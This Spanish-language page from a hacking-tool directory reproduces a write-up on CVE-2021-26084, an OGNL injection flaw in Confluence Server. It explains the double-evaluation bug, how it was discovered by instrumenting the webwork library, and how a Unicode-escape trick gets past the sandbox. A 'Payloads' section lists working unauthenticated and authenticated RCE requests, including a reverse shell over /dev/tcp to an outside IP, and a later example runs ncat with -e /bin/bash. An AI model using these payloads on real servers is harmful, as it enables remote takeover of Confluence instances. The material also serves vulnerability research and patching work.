Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-26084 — CVE-2021-26084 - Inyección OGNL en Confluence Server Webwork | Kitploit
Herramientas/GitHubGitHub/orangmuda/cve-2021-26084
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHuborangmuda/cve-2021-26084

CVE-2021-26084

CVE-2021-26084 - Inyección OGNL en Confluence Server Webwork

Ver Repositorio
43hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-26084

Introducción

Este informe proporciona una visión general de CVE-2021-26084 - inyección OGNL en Webwork de Confluence Server [1] que permitiría a un usuario autenticado ejecutar código arbitrario en una instancia de Confluence Server o Data Center.

TL;DR

Confluence Server / Data Center utiliza el framework MVC Webwork 2 para procesar las solicitudes web, y la capa de vista consiste principalmente en plantillas Velocity. Se realiza una doble evaluación cuando las plantillas Velocity usan etiquetas Webwork con un atributo value que contiene $. Cuando se encuentra una etiqueta Webwork con un atributo Value que tiene un $, se produce una evaluación inicial en el análisis de la plantilla Velocity; este valor evaluado se pasa luego a la etiqueta Webwork, que evalúa el valor como una expresión OGNL. Si la clase de acción expone una función setter para el parámetro usado en el atributo value, entonces este parámetro se puede establecer desde la URL mediante parámetros de URL. Así, al elaborar una URL con un payload OGNL, un atacante puede ejecutar código remoto en las versiones afectadas de Confluence Server / Data Center.

Payloads

root@kitploit:~
# UnAuthenticated RCE  - based on the awesome write-up  at httpvoid; courtesy of  Harsh Jaiswal(rootxharsh), Rahul Maini (iamnoooob) [8]
curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8090' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 186' --data-binary $'linkCreation=a%5Cu0027%2B%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D.findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu0027xcalc%5Cu0027%29%5Cu0022%29%2B%5Cu0027' $'http://localhost:8090/pages/doenterpagevariables.action'

# UnAuthenticated RCE for Confluence < 7.12.14, Only if allow people to sign up to create their account' is enabled. COG > User Management > User Signup Options.
http://localhost:8090/signup.action?token=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu00
5C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027

# Authenticated RCE for Confluence < 7.12.14, a valid user account is required on the Confluence Server
http://localhost:8090/users/darkfeatures.action?featureKey=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28
%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027

# Authenticated RCE for for Confluence 7.12.14, the newSpaceKey parm is to be updated with the Space key of a space the user has Add Pages Permission
http://localhos:8090/pages/docreatepagefromtemplate.action?newSpaceKey=SAN&sourceTemplateId=uu%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%
40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027

# The payload below spawns a reverse shell to a remote host running a netcat listener.BurpSuite addon Hackvertor tags has been used for readability and has to be converted accordingly
http://localhos:8090/pages/docreatepagefromtemplate.action?sourceTemplateId=oa<@urlencode_not_plus>\u0027+(#attr[\u0022webwork.valueStack\u0022]).(findValue(\u0022(#cmd=new
java.lang.String[]{\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027<@unicode_escapes>exec 5<>/dev/tcp/35.224.37.217/8021;cat <&5 | while read line; do $line 2>&5 >&5;
done<@/unicode_escapes>\u0027}).(@java.lang.Runtime@getRuntime().exec(#cmd))\u0022))+\u0027<@/urlencode_not_plus>

Inyección de lenguaje de expresiones

Las vulnerabilidades de inyección de lenguaje de expresiones surgen cuando una aplicación incorpora datos controlables por el usuario en una cadena que es evaluada dinámicamente por un intérprete de código. Si los datos del usuario no se validan estrictamente, un atacante puede usar una entrada manipulada para modificar el código que se va a ejecutar e inyectar código arbitrario que será ejecutado por el servidor [2]. Object-Graph Navigation Language (OGNL) [3] es un lenguaje de expresiones para manejar objetos Java. Cuando existe una vulnerabilidad de inyección OGNL, el atacante puede inyectar expresiones OGNL que luego pueden usarse para ejecutar código Java arbitrario. Además de obtener/establecer propiedades, OGNL admite muchas más características, de las cuales las siguientes parecen interesantes desde el punto de vista del desarrollo de exploits:

  • Llamada a método estático: @java.lang.Runtime@getRuntime()

  • Llamada a constructor: new java.lang.String[]{'/bin/bash','-c', ‘xcalc’}

  • Capacidad de trabajar con variables de contexto: #attr["webwork.valueStack"]

  • Llamada a método: #attr["webwork.valueStack"].findValue()

Combinando lo anterior se puede formar una expresión OGNL válida. A continuación se muestra una expresión OGNL típica:

root@kitploit:~
@java.lang.Runtime@getRuntime().exec('ncat 203.0.113.5 8021 -e /bin/bash')

Webwork 2

WebWork 2 es un framework MVC basado en pull construido sobre una API de framework de patrón de comando llamada XWork y es el predecesor del popular Apache Struts2. Confluence utiliza WebWork 2 de OpenSymphony para procesar las solicitudes web enviadas por los usuarios. Webwork soporta un potente Expression Language basado en OGNL para navegar por su pila de objetos (también conocida como ValueStack). También soporta múltiples tecnologías de vista, incluidas JSP, FreeMarker, Velocity, y proporciona una rica biblioteca de etiquetas. «WebWork: Strutting the OpenSymphony way» de Mike Cannon-Brookes [4] proporciona una excelente visión general del framework Webwork 2. Entre otras cosas que son de particular interés para esta vulnerabilidad se encuentra el soporte de Webwork para:

  • Establecer automáticamente propiedades de la acción basándose en los parámetros de solicitud (parámetros de URL)
  • Integración de vistas (Velocity)
  • Componentes de interfaz de usuario / formularios (etiquetas Webwork) que procesan algunos de sus atributos mediante OGNL

Descubrimiento

La detección de la vulnerabilidad implicó principalmente un enfoque de prueba de caja blanca donde se utilizó instrumentación del código fuente para analizar la evaluación OGNL. Siguiendo la excelente investigación del investigador de GHSL Man Yue Mo sobre inyección OGNL en Apache Struts [5] [6] [7] se observó que el método evaluateParams de la clase UIBean servía como candidato interesante. La base de código de la biblioteca webwork en Confluence Data Center (atlassian-confluence-x.y.z/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar) se extrajo usando JD GUI y se analizó en busca de métodos similares a evaluateParams. La coincidencia más cercana fue el método protected void evaluateParams(OgnlValueStack stack) en com.opensymphony.webwork.views.jsp.ui.AbstractUITag. El análisis del código fuente reveló además que existe una clase com.opensymphony.webwork.util.SafeExpressionUtil que bloqueaba la mayoría de los payloads OGNL.

Como el autor apenas tenía experiencia para ejecutar Confluence Server a través de un depurador, se utilizaron sentencias print básicas para volcar los resultados de la evaluación OGNL en las clases anteriores. Los pasos para instrumentar el código fuente fueron:

  1. Descompilar el archivo webwork-2.1.5-atlassian-3.jar usando JD GUI.
  2. Copiar los archivos AbstractUITag.java y SafeExpressionUtil.java a una carpeta temporal en el servidor Confluence.
  3. Actualizar los métodos de interés con sentencias print que volcaran los resultados a stdout.
root@kitploit:~
String DL = "\n" + (new Exception().getStackTrace()[0]).getClassName() + "::" +  (new Exception().getStackTrace()[0]).getMethodName() + ":";
Object o = findValue(this.valueAttr, valueClazz);
addParameter("nameValue", o);
System.out.println("\033[1;33m" + DL + (new Exception().getStackTrace()[0]).getLineNumber() + "\t findValue( " + this.valueAttr + " ) = " + o + "\033[0m");
  1. Compilar los archivos Java modificados e inyectarlos de nuevo en webwork-2.1.5-atlassian-3.jar
root@kitploit:~
# use javap on the classes inside webwork jar to identify the source and target versions
javac -target 1.6 -source 1.6 -classpath "/opt/atlassian-confluence-7.12.4/lib/*:/opt/atlassian-confluence-7.12.4/confluence/WEB-INF/lib/*" -d . *.java
jar vuf webwork-2.1.5-atlassian-3.jar com
  1. Reemplazar el archivo webwork-2.1.5-atlassian-3.jar en el directorio de instalación de Confluence con la versión instrumentada.
  2. Ejecutar el servidor Confluence en primer plano y observar la salida de la consola.

Con la biblioteca webwork instrumentada en su lugar, se observó que el atributo value de las etiquetas webwork es un punto de inyección potencial, ya que el renderizado terminaba en el método evaluateParams y el atributo value se evaluaba como OGNL. También se observó que si la plantilla velocity tenía una etiqueta webwork cuyo atributo value se establece usando la construcción $, entonces este valor se evaluaba durante el renderizado de la plantilla velocity y este valor evaluado se pasaba a la etiqueta Webwork. Un ejemplo típico de dicha etiqueta es:

root@kitploit:~
#tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")

#tag( "Hidden" "name='token'" "value='$!action.token'" )

#tag( "Component" "label='Enable dark feature:'" "name='featureKey'" "value='$!action.featureKey'" "theme='aui'" "template='text.vm'")

Aunque el atributo value procesaba la entrada como OGNL, había comillas simples alrededor de la construcción $, lo que hacía que la entrada se tratara como cadena. Para eludir esta restricción se usó la secuencia de escape Unicode, ya que pasar las comillas simples directamente daba como resultado que se convirtieran en entidades HTML antes de llegar al punto de ejecución de OGNL. La secuencia de escape Unicode se analiza dentro de OgnlUtil.compile y se forma un ognl.ASTAdd, lo que hace que el payload OGNL inyectado sea evaluado.

root@kitploit:~
parsedExpression = OgnlUtil.compile( '\u0027+(7*7)+\u0027' ) = "" + (7 * 7) + ""

com.opensymphony.webwork.views.jsp.ui.AbstractUITag::evaluateParams --> findValue( '\u0027+(7*7)+\u0027' ) = 49

confluence-ognl-injection-identification

Se buscó en la base de código de Confluence archivos velocity que coincidieran con un patrón de regex que tuviera una etiqueta webwork y $ en su atributo. Una vez identificado el archivo velocity, la clase de acción correspondiente que usaba la plantilla velocity se identificó examinando el archivo de configuración xwork, es decir, xwork.xml (dentro de confluence-x.y.z.jar). El proceso aproximadamente se ve así:

Exploit

El archivo content-editor.vm (atlassian-confluence-7.12.4/confluence/template/custom) contenía la siguiente etiqueta Webwork

root@kitploit:~
#if ($templateApplied)
#tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")
#end

El atributo value, templateId, se puede establecer pasando un parámetro de URL sourceTemplateId al endpoint docreatepagefromtemplate.action. Cuando se llama a un parámetro de URL con el nombre sourceTemplateId, el framework invoca la función setter de la clase de acción (com.atlassian.confluence.pages.actions.CreatePageFromTemplateAction ), es decir, setSourceTemplateId, y esto establece el valor de la variable miembro sourceTemplateId.

Cuando se analiza la plantilla velocity, ${templateId} se evalúa inicialmente llamando a la función getTemplateId de la clase de acción, que devuelve el valor de la variable miembro sourceTemplateId.

confluence-ognl-injection-source-analysis

Este valor evaluado se pasa luego al atributo value de la etiqueta Webwork, que evalúa el atributo value como expresión OGNL. Finalmente, usando la secuencia de escape Unicode y haciendo uso de la variable #attr["webwork.valueStack"], es posible eludir el sandbox SafeExpressionUtil utilizado por las etiquetas WebWork y ejecutar código Java arbitrario.

confluence-ognl-injection-payload-evaluation

Referencias

  1. Aviso de seguridad de Confluence - 2021-08-25

  2. Inyección de Expression Language

  3. Apache Commons OGNL - Guía de lenguaje

  4. Strutting the OpenSymphony way

  5. Lotería de RCE por doble evaluación en Apache Struts. 4 oct 2018

  6. Inyección OGNL en Apache Struts: Descubriendo exploits con taint tracking. 24 sep 2018

  7. CVE-2018-11776: Cómo encontrar 5 RCE en Apache Struts con CodeQL

  8. CVE-2021-26084 Ejecución remota de código en servidores Confluence

Descargar herramienta